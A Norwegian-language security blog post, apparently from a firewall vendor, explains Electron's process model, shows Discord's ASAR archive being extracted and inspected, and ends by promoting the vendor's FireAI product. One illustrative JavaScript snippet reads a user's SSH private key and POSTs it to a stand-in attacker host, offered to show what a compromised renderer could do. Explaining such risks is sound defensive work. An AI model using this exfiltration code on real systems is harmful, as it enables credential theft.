# Hva er egentlig inne i elektronappene dine? Vi hentet ut en for å finne ut

> Elektron samler Chromium og Node.js i én prosessmodell. Vi pakket ut et ekte, installert apparkiv for å vise hva det betyr for sikkerhetsgjennomgang og for nettverksbrannmurer.

HisnLabs Security & Research Team · Published 2026-09-25
Canonical: https://hisnlabs.com/no/blog/electron-forensic-footprint-desktop-web-apps-egress-nightmare

Electron kombinerer Chromium-gjengivelsesmotoren med Node.js runtime slik at én JavaScript-kodebase kan leveres som en skrivebordsapp på macOS, Windows og Linux. Slack, Discord, Notion og mange andre er bygget på denne måten, og i årevis var det også Microsoft Teams. Bekvemmeligheten er ekte. Så er en konsekvens verdt å forstå: en Electron-app er ikke én prosess med ett rettighetsnivå, og den medfølgende kilden er ikke vanskelig å lese.

## To prosesser, to privilegienivåer

Hver Electron-app har en hovedprosess, som kjører fullstendige Node.js med normal fil- og nettverkstilgang på OS-nivå, og en eller flere Renderer-prosesser, som viser nettinnhold i en Chromium-kontekst. Electrons egen [sikkerhetsdokumentasjon](https://www.electronjs.org/docs/latest/tutorial/security) er eksplisitt om risikoen for å gjøre den linjen uskarp: "Det er viktig at du ikke aktiverer Node.js-integrasjon i noen gjengiver som laster eksternt innhold," fordi det fjerner barrieren mellom en nettside og operativsystemet. Den oppgitte løsningen er ikke «stol på innholdet i stedet», men arkitektonisk: hold nodetilgangen ute av rendereren, og eksponer bare en bevisst smal API for den gjennom et forhåndslastet skript og `contextBridge` API, med kontekstisolering på.

> **Warning:** Hvis en renderer med Node-integrasjon aktivert noen gang kjører angriperkontrollert JavaScript, for eksempel gjennom en skriptfeil på tvers av nettsteder i innholdet det viser, arver det skriptet full nodetilgang: lesing av filer, spawning-prosesser, åpning av sockets. Det er ikke en hypotetisk elektronfotnote; det er det nøyaktige scenariet Electrons egne dokumenter ber utviklere om å designe mot.

*Illustrativt: hva Node-integrasjon i en kompromittert gjengiver kan gjøre*

```javascript
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)
```

## Arkivet er ikke en hemmelighet: å trekke ut en ekte app

De fleste Electron-apper sender JavaScript og HTML i en `app.asar`-fil. Electrons egne dokumenter er direkte om hva det formatet er for: "arkiver er skrivebeskyttet" og bunting til ett er ment å "skjule kildekoden din fra overfladisk inspeksjon" - dens egen ordlyd, ikke en påstand utenfra - samtidig som den sier tydelig andre steder at ASAR ikke gir kryptering. For å sjekke hva det betyr i praksis, hentet vi ut den ekte, for øyeblikket installerte kopien av Discord for macOS (bygg 0.0.294) på ​​denne maskinen, ved å bruke Electrons egen vedlikeholdte pakker.

*Terminal*

```console
$ npm install -g @electron/asar
$ asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
$ find ./discord_src -type f | wc -l
1056
```

En kommando produserte 1056 vanlige filer: lesbart JavaScript, `package.json` og Discords egen moduloppsett, akkurat slik Electrons dokumentasjon sier det vil. Ingen dekompilering, ingen reverse engineering, ingen passord. Dette er ikke en feil i Discord; det er hvordan ASAR-formatet fungerer for hver Electron-app, etter design.

## Hva et ekte utdrag viser om nettverksatferd

Med kilden i ren tekst blir både sikkerhetsgjennomgang og søk trivielt. Vi søkte i de utpakkede filene etter to ting: hvilke webPreferences Discord faktisk setter, og hvilke vertsnavn som vises i dens egen kode (unntatt tredjeparts `node_modules`).

*Terminal, resultater fra det virkelige utdraget ovenfor*

```console
$ grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

$ grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org
```

For å være rettferdig mot den spesifikke appen vi testet: Discords splash-screen-vindu følger Electrons herderåd nøyaktig, `nodeIntegration: false` og `contextIsolation: true`. Det er verdt å si tydelig frem i stedet for å hoppe over det. Poenget med dette er ikke at Discord er usikkert; det er at vi kunne sjekke, i løpet av minutter, på hvilken som helst Electron-app, fordi arkivformatet holder ingenting skjult. De fleste som installerer en Electron-app ser aldri ut, og de fleste statiske endepunktverktøy gjør det heller ikke.

## Hvorfor en binær-tillit brannmur ikke kan hjelpe her

Ingen av vertsnavnene ovenfor er hemmelige eller overraskende for en chat-app å nå, og det er akkurat det som er problemet for forsvar på nettverksnivå. En brannmur som bestemmer med kodesignatur, ser én ting: en notarisert, Apple-signert binær som gjør vanlige HTTPS-forespørsler på port 443. Den har ingen måte å fortelle et legitimt API-kall, en medfølgende analyse-SDK, og, i en genuint kompromittert gjengiver, et eksfiltreringsforsøk fra hverandre. Alle tre ser ut som den samme pålitelige prosessen når de snakker med internett, fordi de er den samme prosessen.

- Å bedømme en Electron-app etter kodesignaturen sier ingenting om hvilke av dens mange medfølgende avhengigheter som gjør hvilke tilkoblinger.
- Fordi kilden er vanlig JavaScript i et ukryptert arkiv, er revisjon av hva en app kan nå realistisk, ikke teoretisk, for alle som er villige til å kjøre `asar extract`.
- Den ene kontrollen som ikke er avhengig av å stole på binæren er per-prosess, per-destinasjon nettverkspolicy: å bestemme, ved stikkontakten, hva en gitt app har lov til å nå.

## Hvor FireAI og HisnLabs kommer inn

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI er HisnLabs’ eget produkt: en KI-brannmur som kjører direkte på Macen. Den viser hver tilkobling appene dine gjør, i klart språk, og lar deg bestemme hva som forlater Macen din — KI-en kjører lokalt, så trafikken din sendes aldri til oss eller noen andre. HisnLabs’ sikkerhetsforskningsteam er de som holder disse vurderingene pålitelige: de katalogiserer hvilke domener som er vanlig telemetri og hvilke som er en ekte tjeneste, sporer landet og nettverket bak en tilkobling, og trener den lokale modellen (FireAI Pilot-funksjonen) på ekte trafikkmønstre — uten at noe av det forlater Macen din.

Du kan lese om de tekniske valgene bak, eller prøve FireAI i 17 dager, på [FireAI, fra HisnLabs](https://hisnlabs.com/fireai/no/download).

## Sources

- [Electron: Security](https://www.electronjs.org/docs/latest/tutorial/security)
- [Electron: ASAR Archives](https://www.electronjs.org/docs/latest/tutorial/asar-archives)
- [Electron: Context Isolation](https://www.electronjs.org/docs/latest/tutorial/context-isolation)
- [@electron/asar (the packer/unpacker used below)](https://www.npmjs.com/package/@electron/asar)